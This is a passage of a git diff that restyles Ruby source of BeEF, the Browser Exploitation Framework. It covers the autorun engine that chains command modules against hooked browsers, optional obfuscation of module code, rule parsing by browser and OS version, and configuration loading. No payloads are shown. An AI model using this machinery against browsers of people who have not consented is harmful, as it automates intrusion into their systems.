eventual delay. # Launch order is also taken care of. # - sequential chain with delays (setTimeout stuff) @@ -114,7 +109,7 @@ def prepare_sequential_wrapper(mods, order, delay, rule_token) delayed_exec = '' c = 0 while c < mods.length - delayed_exec += %Q| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); | + delayed_exec += %| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); | mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output") wrapped_mod = "#{mod_body}\n" wrapper += wrapped_mod @@ -141,16 +136,17 @@ def prepare_sequential_wrapper(mods, order, delay, rule_token) # if the first once return with success. Also, the second module has the possibility of mangling first # module output and use it as input for some of its module inputs. def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token) - wrapper, delayed_exec = '','' - delayed_exec_footers = Array.new + wrapper = '' + delayed_exec = '' + delayed_exec_footers = [] c = 0 while c < mods.length - if mods.length == 1 - i = c - else - i = c + 1 - end + i = if mods.length == 1 + c + else + c + 1 + end code_snippet = '' mod_input = '' @@ -159,11 +155,11 @@ def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token) mod_input = 'mod_input' end - conditions[i] = true if conditions[i] == nil || conditions[i] == '' + conditions[i] = true if conditions[i].nil? || conditions[i] == '' if c == 0 # this is the first wrapper to prepare - delayed_exec += %Q| + delayed_exec += %| function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ #{mods[order[c]][:mod_name]}_#{rule_token}(); @@ -185,7 +181,7 @@ def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token) #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1]; | - delayed_exec_footer = %Q| + delayed_exec_footer = %| } } } @@ -198,10 +194,10 @@ def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token) delayed_exec_footers.push(delayed_exec_footer) elsif c < mods.length - 1 - code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}") + code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}") # this is one of the wrappers in the middle of the chain - delayed_exec += %Q| + delayed_exec += %| function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){ #{code_snippet} @@ -223,7 +219,7 @@ def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token) #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1]; | - delayed_exec_footer = %Q| + delayed_exec_footer = %| } } } @@ -236,9 +232,9 @@ def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token) delayed_exec_footers.push(delayed_exec_footer) else - code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}") + code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}") # this is the last wrapper to prepare - delayed_exec += %Q| + delayed_exec += %| function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){ #{code_snippet} @@ -258,7 +254,6 @@ def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token) wrapper end - # prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it, # and store it in the database. # Returns the raw module body after template substitution. @@ -266,16 +261,16 @@ def prepare_command(mod, options, hb_id, replace_input, rule_token) config = BeEF::Core::Configuration.instance begin command = BeEF::Core::Models::Command.new( - :data => options.to_json, - :hooked_browser_id => hb_id, - :command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"), - :creationdate => Time.new.to_i, - :instructions_sent => true + data: options.to_json, + hooked_browser_id: hb_id, + command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"), + creationdate: Time.new.to_i, + instructions_sent: true ) command.save! command_module = BeEF::Core::Models::CommandModule.find(mod.id) - if (command_module.path.match(/^Dynamic/)) + if command_module.path.match(/^Dynamic/) # metasploit and similar integrations command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new else @@ -293,18 +288,18 @@ def prepare_command(mod, options, hb_id, replace_input, rule_token) build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty? - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance command_body = evasion.obfuscate(command_module.output) + "\n\n" else - command_body = command_module.output + "\n\n" + command_body = command_module.output + "\n\n" end # @note prints the event to the console print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]" - replace_input ? mod_input = 'mod_input' : mod_input = '' - result = %Q| + mod_input = replace_input ? 'mod_input' : '' + result = %| var #{mod.name}_#{rule_token} = function(#{mod_input}){ #{clean_command_body(command_body, replace_input)} }; @@ -312,8 +307,8 @@ def prepare_command(mod, options, hb_id, replace_input, rule_token) var #{mod.name}_#{rule_token}_mod_output = null; | - return {:mod_name => mod.name, :mod_body => result} - rescue => e + { mod_name: mod.name, mod_body: result } + rescue StandardError => e print_error e.message print_debug e.backtrace.join("\n") end @@ -324,56 +319,47 @@ def prepare_command(mod, options, hb_id, replace_input, rule_token) # # Also replace <> with mod_input variable if needed for chaining module output/input def clean_command_body(command_body, replace_input) - begin - cmd_body = command_body.lines.map(&:chomp) - wrapper_start_index,wrapper_end_index = nil + cmd_body = command_body.lines.map(&:chomp) + wrapper_start_index, wrapper_end_index = nil - cmd_body.each_with_index do |line, index| - if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/ - wrapper_start_index = index - break - end - end - if wrapper_start_index.nil? - print_error "[ARE] Could not find module start index" - end - - cmd_body.reverse.each_with_index do |line, index| - if line.include?('});') - wrapper_end_index = index - break - end - end - if wrapper_end_index.nil? - print_error "[ARE] Could not find module end index" + cmd_body.each_with_index do |line, index| + if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/ + wrapper_start_index = index + break end + end + print_error '[ARE] Could not find module start index' if wrapper_start_index.nil? - cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index+1)).join("\n") - if cleaned_cmd_body.eql?('') - print_error "[ARE] No command to send" + cmd_body.reverse.each_with_index do |line, index| + if line.include?('});') + wrapper_end_index = index + break end - - # check if <> should be replaced with a variable name (depending if the variable is a string or number) - if replace_input - if cleaned_cmd_body.include?('"<>"') - final_cmd_body = cleaned_cmd_body.gsub('"<>"','mod_input') - elsif cleaned_cmd_body.include?('\'<>\'') - final_cmd_body = cleaned_cmd_body.gsub('\'<>\'','mod_input') - elsif cleaned_cmd_body.include?('<>') - final_cmd_body = cleaned_cmd_body.gsub('\'<>\'','mod_input') - else - return cleaned_cmd_body - end - return final_cmd_body + end + print_error '[ARE] Could not find module end index' if wrapper_end_index.nil? + + cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index + 1)).join("\n") + print_error '[ARE] No command to send' if cleaned_cmd_body.eql?('') + + # check if <> should be replaced with a variable name (depending if the variable is a string or number) + if replace_input + if cleaned_cmd_body.include?('"<>"') + final_cmd_body = cleaned_cmd_body.gsub('"<>"', 'mod_input') + elsif cleaned_cmd_body.include?('\'<>\'') + final_cmd_body = cleaned_cmd_body.gsub('\'<>\'', 'mod_input') + elsif cleaned_cmd_body.include?('<>') + final_cmd_body = cleaned_cmd_body.gsub('\'<>\'', 'mod_input') else return cleaned_cmd_body end - rescue => e - print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body" + final_cmd_body + else + cleaned_cmd_body end + rescue StandardError => e + print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body. #{e.message}" end - # Checks if there are any ARE rules to be triggered for the specified hooked browser # # Note: browser version checks are supporting only major versions, ex: C 43, IE 11 @@ -382,105 +368,119 @@ def clean_command_body(command_body, replace_input) # Returns an array with rule IDs that matched and should be triggered. # if rule_id is specified, checks will be executed only against the specified rule (useful # for dynamic triggering of new rulesets ar runtime) - def match(browser, browser_version, os, os_version, rule_id=nil) + def match(browser, browser_version, os, os_version, rule_id = nil) match_rules = [] - if rule_id != nil - rules = [BeEF::Core::Models::Rule.find(rule_id)] - else - rules = BeEF::Core::Models::Rule.all - end - return nil if rules == nil + rules = if rule_id.nil? + BeEF::Core::Models::Rule.all + else + [BeEF::Core::Models::Rule.find(rule_id)] + end + return nil if rules.nil? return nil unless rules.length > 0 - print_info "[ARE] Checking if any defined rules should be triggered on target." - # TODO handle cases where there are multiple ARE rules for the same hooked browser. + print_info '[ARE] Checking if any defined rules should be triggered on target.' + # TODO: handle cases where there are multiple ARE rules for the same hooked browser. # TODO the above works well, but maybe rules need to have priority or something? rules.each do |rule| - begin - browser_match, os_match = false, false - - b_ver_cond = rule.browser_version.split(' ').first - b_ver = rule.browser_version.split(' ').last - - os_ver_rule_cond = rule.os_version.split(' ').first - os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first - os_ver_rule_min = rule.os_version.split(' ').last.split('.').last - - # Most of the times Linux/*BSD OS doesn't return any version - # (TODO: improve OS detection on these operating systems) - if os_version != nil && !@VERSION_STR.include?(os_version) - os_ver_hook_maj = os_version.split('.').first - os_ver_hook_min = os_version.split('.').last - - # the following assignments to 0 are need for later checks like: - # 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same - os_ver_hook_min = 0 if os_version.split('.').length == 1 - os_ver_rule_min = 0 if rule.os_version.split('.').length == 1 - else - # most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea - # to switch from strings to numbers in OS versioning. To prevent rewriting code later on, - # we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on. - os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP' - os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista' + browser_match = false + os_match = false + + b_ver_cond = rule.browser_version.split(' ').first + b_ver = rule.browser_version.split(' ').last + + os_ver_rule_cond = rule.os_version.split(' ').first + os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first + os_ver_rule_min = rule.os_version.split(' ').last.split('.').last + + # Most of the times Linux/*BSD OS doesn't return any version + # (TODO: improve OS detection on these operating systems) + if !os_version.nil? && !@VERSION_STR.include?(os_version) + os_ver_hook_maj = os_version.split('.').first + os_ver_hook_min = os_version.split('.').last + + # the following assignments to 0 are need for later checks like: + # 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same + os_ver_hook_min = 0 if os_version.split('.').length == 1 + os_ver_rule_min = 0 if rule.os_version.split('.').length == 1 + else + # most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea + # to switch from strings to numbers in OS versioning. To prevent rewriting code later on, + # we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on. + if os_version == 'XP' + os_ver_hook_maj = 5 + os_ver_hook_min = 0 + end + if os_version == 'Vista' + os_ver_hook_maj = 6 + os_ver_hook_min = 0 end + end - os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP' - os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_maj == 'Vista' + if os_ver_rule_maj == 'XP' + os_ver_rule_maj = 5 + os_ver_rule_min = 0 + end + if os_ver_rule_maj == 'Vista' + os_ver_rule_maj = 6 + os_ver_rule_min = 0 + end - next unless @VERSION.include?(b_ver_cond) - next unless BeEF::Filters::is_valid_browserversion?(b_ver) + next unless @VERSION.include?(b_ver_cond) + next unless BeEF::Filters.is_valid_browserversion?(b_ver) - next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond) - # os_ver without checks as it can be very different or even empty, for instance on linux/bsd) + next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond) - # skip rule unless the browser matches - browser_match = false - # check if rule specifies multiple browsers - if rule.browser !~ /\A[A-Z]+\Z/ - rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b| - browser_match = true if b == browser || b == 'ALL' - end - # else, only one browser - else - next unless rule.browser == 'ALL' || browser == rule.browser - # check if the browser version matches - browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s) - if browser_version_match - browser_match = true - else - browser_match = false - end - print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}" - end - next unless browser_match - - # skip rule unless the OS matches - next unless rule.os == 'ALL' || os == rule.os - - # check if the OS versions match - if os_version != nil || rule.os_version != 'ALL' - os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s) - os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s) - else - # os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL ) - os_major_version_match, os_minor_version_match = true, true - end + # os_ver without checks as it can be very different or even empty, for instance on linux/bsd) - os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match) - print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}" + # skip rule unless the browser matches + browser_match = false + # check if rule specifies multiple browsers + if rule.browser =~ /\A[A-Z]+\Z/ + next unless rule.browser == 'ALL' || browser == rule.browser - if browser_match && os_match - print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}." - match_rules.push(rule.id) + # check if the browser version matches + browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s) + browser_match = if browser_version_match + true + else + false + end + print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}" + else + rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b| + browser_match = true if b == browser || b == 'ALL' end - rescue => e - print_error e.message - print_debug e.backtrace.join("\n") + # else, only one browser + end + next unless browser_match + + # skip rule unless the OS matches + next unless rule.os == 'ALL' || os == rule.os + + # check if the OS versions match + if !os_version.nil? || rule.os_version != 'ALL' + os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s) + os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s) + else + # os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL ) + os_major_version_match = true + os_minor_version_match = true end + + os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match) + print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}" + + if browser_match && os_match + print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}." + match_rules.push(rule.id) + end + rescue StandardError => e + print_error e.message + print_debug e.backtrace.join("\n") end print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version." - return match_rules + match_rules end # compare versions @@ -491,7 +491,8 @@ def compare_versions(ver_a, cond, ver_b) return true if cond == '<' && ver_a < ver_b return true if cond == '>=' && ver_a >= ver_b return true if cond == '>' && ver_a > ver_b - return false + + false end end end diff --git a/core/main/autorun_engine/parser.rb b/core/main/autorun_engine/parser.rb index ca7515e6b4..d0bc8ac4d7 100644 --- a/core/main/autorun_engine/parser.rb +++ b/core/main/autorun_engine/parser.rb @@ -6,84 +6,80 @@ module BeEF module Core module AutorunEngine - class Parser - include Singleton def initialize @config = BeEF::Core::Configuration.instance end - BROWSER = ['FF','C','IE','S','O','ALL'] - OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL'] - VERSION = ['<','<=','==','>=','>','ALL','Vista','XP'] - CHAIN_MODE = ['sequential','nested-forward'] + BROWSER = %w[FF C IE S O ALL] + OS = %w[Linux Windows OSX Android iOS BlackBerry ALL] + VERSION = ['<', '<=', '==', '>=', '>', 'ALL', 'Vista', 'XP'] + CHAIN_MODE = %w[sequential nested-forward] MAX_VER_LEN = 15 # Parse a JSON ARE file and returns an Hash with the value mappings - def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode) - begin - success = [true] + def parse(name, author, browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode) + success = [true] - return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode) - return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name) - return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author) - # if multiple browsers were specified, check each browser - if browser.kind_of?(Array) - browser.each do |b| - return [false, 'Illegal browser definition'] unless BROWSER.include?(b) - end - # else, if only one browser was specified, check browser and browser version - else - return [false, 'Illegal browser definition'] unless BROWSER.include?(browser) - if browser_version != 'ALL' - return [false, 'Illegal browser_version definition'] unless - VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) && - BeEF::Filters::is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/,'')) && browser_version.length < MAX_VER_LEN - end + return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode) + return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name) + return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author) + + # if multiple browsers were specified, check each browser + if browser.is_a?(Array) + browser.each do |b| + return [false, 'Illegal browser definition'] unless BROWSER.include?(b) end + # else, if only one browser was specified, check browser and browser version + else + return [false, 'Illegal browser definition'] unless BROWSER.include?(browser) - if os_version != 'ALL' - return [false, 'Illegal os_version definition'] unless - VERSION.include?(os_version[0,2].gsub(/\s+/,'')) && - BeEF::Filters::is_valid_osversion?(os_version[2..-1].gsub(/\s+/,'')) && os_version.length < MAX_VER_LEN + if browser_version != 'ALL' && !(VERSION.include?(browser_version[0, 2].gsub(/\s+/, '')) && + BeEF::Filters.is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/, '')) && browser_version.length < MAX_VER_LEN) + return [false, 'Illegal browser_version definition'] end + end + + if os_version != 'ALL' && !(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) && + BeEF::Filters.is_valid_osversion?(os_version[2..-1].gsub(/\s+/, '')) && os_version.length < MAX_VER_LEN) + return [false, 'Illegal os_version definition'] + end - return [false, 'Illegal os definition'] unless OS.include?(os) + return [false, 'Illegal os definition'] unless OS.include?(os) - # check if module names, conditions and options are ok - modules.each do |cmd_mod| - mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first - if mod != nil - modk = BeEF::Module.get_key_by_database_id(mod.id) - mod_options = BeEF::Module.get_options(modk) + # check if module names, conditions and options are ok + modules.each do |cmd_mod| + mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first + if mod.nil? + return [false, "The specified module name (#{cmd_mod['name']}) does not exist"] + else + modk = BeEF::Module.get_key_by_database_id(mod.id) + mod_options = BeEF::Module.get_options(modk) - opt_count = 0 - mod_options.each do |opt| - if opt['name'] == cmd_mod['options'].keys[opt_count] - opt_count += 1 - else - return [false, "The specified option (#{cmd_mod['options'].keys[opt_count] - }) for module (#{cmd_mod['name']}) does not exist"] - end + opt_count = 0 + mod_options.each do |opt| + if opt['name'] == cmd_mod['options'].keys[opt_count] + opt_count += 1 + else + return [false, "The specified option (#{cmd_mod['options'].keys[opt_count] + }) for module (#{cmd_mod['name']}) does not exist"] end - else - return [false, "The specified module name (#{cmd_mod['name']}) does not exist"] end end + end - exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?} - exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?} + exec_order.each { |order| return [false, 'execution_order values must be Integers'] unless order.integer? } + exec_delay.each { |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer? } - return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless - modules.size == exec_order.size && modules.size == exec_delay.size + return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless + modules.size == exec_order.size && modules.size == exec_delay.size - success - rescue => e - print_error "#{e.message}" - print_debug "#{e.backtrace.join("\n")}" - return [false, 'Something went wrong.'] - end + success + rescue StandardError => e + print_error e.message.to_s + print_debug e.backtrace.join("\n").to_s + [false, 'Something went wrong.'] end end end diff --git a/core/main/autorun_engine/rule_loader.rb b/core/main/autorun_engine/rule_loader.rb index 3b569f4d0d..5f9a4a59a9 100644 --- a/core/main/autorun_engine/rule_loader.rb +++ b/core/main/autorun_engine/rule_loader.rb @@ -6,9 +6,7 @@ module BeEF module Core module AutorunEngine - class RuleLoader - include Singleton def initialize @@ -18,78 +16,74 @@ def initialize # this expects parsed JSON as input def load(data) - begin - - name = data['name'] - author = data['author'] - browser = data['browser']||'ALL' - browser_version = data['browser_version']||'ALL' - os = data['os']||'ALL' - os_version = data['os_version']||'ALL' - modules = data['modules'] - exec_order = data['execution_order'] - exec_delay = data['execution_delay'] - chain_mode = data['chain_mode'] + name = data['name'] + author = data['author'] + browser = data['browser'] || 'ALL' + browser_version = data['browser_version'] || 'ALL' + os = data['os'] || 'ALL' + os_version = data['os_version'] || 'ALL' + modules = data['modules'] + exec_order = data['execution_order'] + exec_delay = data['execution_delay'] + chain_mode = data['chain_mode'] - parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse( - name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode) + parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse( + name, author, browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode + ) - if parser_result.length == 1 && parser_result.first - print_info "[ARE] Ruleset (#{name}) parsed and stored successfully." - if @debug_on - print_more "Target Browser: #{browser} (#{browser_version})" - print_more "Target OS: #{os} (#{os_version})" - print_more "Modules to Trigger:" - modules.each do |mod| - print_more "(*) Name: #{mod['name']}" - print_more "(*) Condition: #{mod['condition']}" - print_more "(*) Code: #{mod['code']}" - print_more "(*) Options:" - mod['options'].each do |key,value| - print_more "\t#{key}: (#{value})" - end - end - print_more "Exec order: #{exec_order}" - print_more "Exec delay: #{exec_delay}" + if parser_result.length == 1 && parser_result.first + print_info "[ARE] Ruleset (#{name}) parsed and stored successfully." + if @debug_on + print_more "Target Browser: #{browser} (#{browser_version})" + print_more "Target OS: #{os} (#{os_version})" + print_more 'Modules to Trigger:' + modules.each do |mod| + print_more "(*) Name: #{mod['name']}" + print_more "(*) Condition: #{mod['condition']}" + print_more "(*) Code: #{mod['code']}" + print_more '(*) Options:' + mod['options'].each do |key, value| + print_more "\t#{key}: (#{value})" + end end - are_rule = BeEF::Core::Models::Rule.new( - :name => name, - :author => author, - :browser => browser, - :browser_version => browser_version, - :os => os, - :os_version => os_version, - :modules => modules.to_json, - :execution_order => exec_order, - :execution_delay => exec_delay, - :chain_mode => chain_mode) - are_rule.save - return { 'success' => true, 'rule_id' => are_rule.id} - else - print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last - return { 'success' => false, 'error' => parser_result.last } + print_more "Exec order: #{exec_order}" + print_more "Exec delay: #{exec_delay}" end - - rescue => e - err = 'Malformed JSON ruleset.' - print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}" - return { 'success' => false, 'error' => err } + are_rule = BeEF::Core::Models::Rule.new( + name: name, + author: author, + browser: browser, + browser_version: browser_version, + os: os, + os_version: os_version, + modules: modules.to_json, + execution_order: exec_order, + execution_delay: exec_delay, + chain_mode: chain_mode + ) + are_rule.save + { 'success' => true, 'rule_id' => are_rule.id } + else + print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last + { 'success' => false, 'error' => parser_result.last } end + rescue StandardError => e + err = 'Malformed JSON ruleset.' + print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}" + { 'success' => false, 'error' => err } end def load_file(json_rule_path) - begin - rule_file = File.open(json_rule_path, 'r:UTF-8', &:read) - self.load JSON.parse(rule_file) - rescue => e - print_error "[ARE] Failed to load ruleset from #{json_rule_path}" - end + rule_file = File.open(json_rule_path, 'r:UTF-8', &:read) + self.load JSON.parse(rule_file) + rescue StandardError => e + print_error "[ARE] Failed to load ruleset from #{json_rule_path}: #{e.message}" end def load_directory Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule| print_debug "[ARE] Processing rule: #{rule}" - self.load_file rule + load_file rule end end end diff --git a/core/main/command.rb b/core/main/command.rb index ec9d426077..fe0e8793d6 100644 --- a/core/main/command.rb +++ b/core/main/command.rb @@ -43,7 +43,7 @@ def initialize(hash = nil) # class Command attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname, - :config + :config attr_accessor :zombie, :command_id, :session_id include BeEF::Core::CommandUtils @@ -100,12 +100,12 @@ def needs_configuration? # Returns information about the command in a JSON format. # @return [String] JSON formatted string # - def to_json + def to_json(*_args) { - 'Name' => @friendlyname, + 'Name' => @friendlyname, 'Description' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.description"), - 'Category' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.category"), - 'Data' => BeEF::Module.get_options(@key) + 'Category' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.category"), + 'Data' => BeEF::Module.get_options(@key) }.to_json end @@ -116,7 +116,7 @@ def to_json # def build_datastore(data) @datastore = JSON.parse data - rescue => e + rescue StandardError => e print_error "Could not build datastore: #{e.message}" end @@ -126,7 +126,7 @@ def build_datastore(data) # @param [Hash] http_headers HTTP headers # def build_callback_datastore(result, command_id, beefhook, http_params, http_headers) - @datastore = {'http_headers' => {}} # init the datastore + @datastore = { 'http_headers' => {} } # init the datastore if !http_params.nil? && !http_headers.nil? # get, check and add the http_params to the datastore @@ -166,7 +166,7 @@ def build_callback_datastore(result, command_id, beefhook, http_params, http_hea @datastore['results'] = result @datastore['cid'] = command_id - @datastore['beefhook'] = beefhook + @datastore['beefhook'] = beefhook end # @@ -184,7 +184,7 @@ def output @eruby = Erubis::FastEruby.new(File.read(f)) - #data = BeEF::Core::Configuration.instance.get "beef.module.#{@key}" + # data = BeEF::Core::Configuration.instance.get "beef.module.#{@key}" cc = BeEF::Core::CommandContext.new cc['command_url'] = @default_command_url cc['command_id'] = @command_id @@ -226,7 +226,7 @@ def map_file_to_url(file, path = nil, extension = nil, count = 1) def use(component) return if @beefjs_components.include? component - component_path = '/'+component + component_path = '/' + component component_path.gsub!(/beef./, '') component_path.gsub!(/\./, '/') component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" @@ -238,8 +238,9 @@ def use(component) # @todo TODO Document def oc_value(name) - option = BeEF::Core::Models::OptionCache.where(:name => name).first + option = BeEF::Core::Models::OptionCache.where(name: name).first return nil unless option + option.value end @@ -250,8 +251,6 @@ def apply_defaults end end - private - @use_template @eruby @update_zombie diff --git a/core/main/configuration.rb b/core/main/configuration.rb index 0f260e89f9..909db0188e 100644 --- a/core/main/configuration.rb +++ b/core/main/configuration.rb @@ -24,12 +24,12 @@ def initialize(config) raise TypeError, "Configuration file '#{config}' cannot be found" unless File.exist? config begin - #open base config + # open base config @config = load(config) # set default value if key? does not exist @config.default = nil @@config = config - rescue => e + rescue StandardError => e print_error "Fatal Error: cannot load configuration file '#{config}' : #{e.message}" print_error e.backtrace end @@ -42,9 +42,10 @@ def initialize(config) # @return [Hash] YAML formatted hash def load(file) return nil unless File.exist? file + raw = File.read file YAML.safe_load raw - rescue => e + rescue StandardError => e print_debug "Unable to load configuration file '#{file}' : #{e.message}" print_error e.backtrace end @@ -56,7 +57,7 @@ def validate if @config.empty? print_error 'Configuration file is empty' return - end + end if @config['beef'].nil? print_error "Configuration file is malformed: 'beef' is nil" @@ -136,17 +137,17 @@ def beef_port def public_enabled? !get('beef.http.public.host').nil? end - + # # Returns the beef protocol that is used by external resources # e.g. hooked browsers def beef_proto - if public_enabled? && public_https_enabled? then - return 'https' + if public_enabled? && public_https_enabled? + 'https' elsif public_enabled? && !public_https_enabled? - return 'http' + 'http' elsif !public_enabled? - return local_proto + local_proto end end @@ -201,6 +202,7 @@ def get(key) hash[k] end return nil if subhash.nil? + subhash.key?(lastkey) ? subhash[lastkey] : nil end @@ -215,7 +217,7 @@ def set(key, value) return false if subkeys.empty? hash = { subkeys.shift.to_s => value } - subkeys.each { |v| hash = {v.to_s => hash} } + subkeys.each { |v| hash = { v.to_s => hash } } @config = @config.deep_merge hash true end @@ -231,7 +233,7 @@ def clear(key) lastkey = subkeys.pop hash = @config - subkeys.each {|v| hash = hash[v] } + subkeys.each { |v| hash = hash[v] } hash.delete(lastkey).nil? ? false : true end @@ -258,7 +260,7 @@ def load_extensions_config def load_modules_config set('beef.module', {}) # support nested sub-categories, like browser/hooked_domain/ajax_fingerprint - module_configs = File.join("#{$root_dir}/modules/**", "config.yaml") + module_configs = File.join("#{$root_dir}/modules/**", 'config.yaml') Dir.glob(module_configs) do |cf| y = load(cf) if y.nil? @@ -280,9 +282,8 @@ def load_modules_config private def validate_public_config_variable?(config) - return true if (config['beef']['http']['public'].is_a?(Hash) || - config['beef']['http']['public'].is_a?(NilClass)) - + return true if config['beef']['http']['public'].is_a?(Hash) || + config['beef']['http']['public'].is_a?(NilClass) print_error 'Config path beef.http.public is deprecated.' print_error 'Please use the new format for public variables found' diff --git a/core/main/console/banners.rb b/core/main/console/banners.rb index ce5e25aaf2..fabc99e59c 100644 --- a/core/main/console/banners.rb +++ b/core/main/console/banners.rb @@ -4,140 +4,138 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Console + module Core + module Console + module Banners + class << self + attr_accessor :interfaces -module Banners - class << self - attr_accessor :interfaces - - # - # Prints BeEF's ascii art - # - def print_ascii_art - if File.exists?('core/main/console/beef.ascii') - File.open('core/main/console/beef.ascii', 'r') do |f| + # + # Prints BeEF's ascii art + # + def print_ascii_art + if 